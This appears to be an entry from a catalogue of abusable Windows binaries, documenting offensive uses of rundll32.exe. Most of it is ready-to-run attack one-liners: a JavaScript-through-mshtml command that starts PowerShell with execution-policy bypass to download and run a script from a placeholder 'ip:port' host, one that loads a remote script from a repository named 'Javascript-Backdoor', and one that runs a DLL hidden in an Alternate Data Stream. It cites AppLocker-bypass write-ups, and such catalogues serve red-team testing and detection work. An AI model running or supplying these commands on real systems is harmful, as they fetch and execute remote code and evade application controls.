## Rundll32.exe * Functions: Execute, Read ADS ``` rundll32.exe AllTheThingsx64,EntryPoint Example command. AllTheThingsx64 would be a .DLL file and EntryPoint would be the name of the entry point in the .DLL file to execute. rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');" Use Rundll32.exe to execute a JavaScript script that runs a PowerShell script that is downloaded from a remote web site. rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()"); Use Rundll32.exe to execute a JavaScript script that runs calc.exe. rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);} Use Rundll32.exe to execute a JavaScript script that runs calc.exe and then kills the Rundll32.exe process that was started. rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test") Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script. rundll32 "C:\ads\file.txt:ADSDLL.dll",DllMain Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS). ``` * Resources: * https://pentestlab.blog/2017/05/23/applocker-bypass-rundll32/ * https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7 * https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Rundll32.md * https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/ * https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/ * Full path: * C:\Windows\System32\rundll32.exe * C:\Windows\SysWOW64\rundll32.exe * Notes: Thanks to Casey Smith - @subtee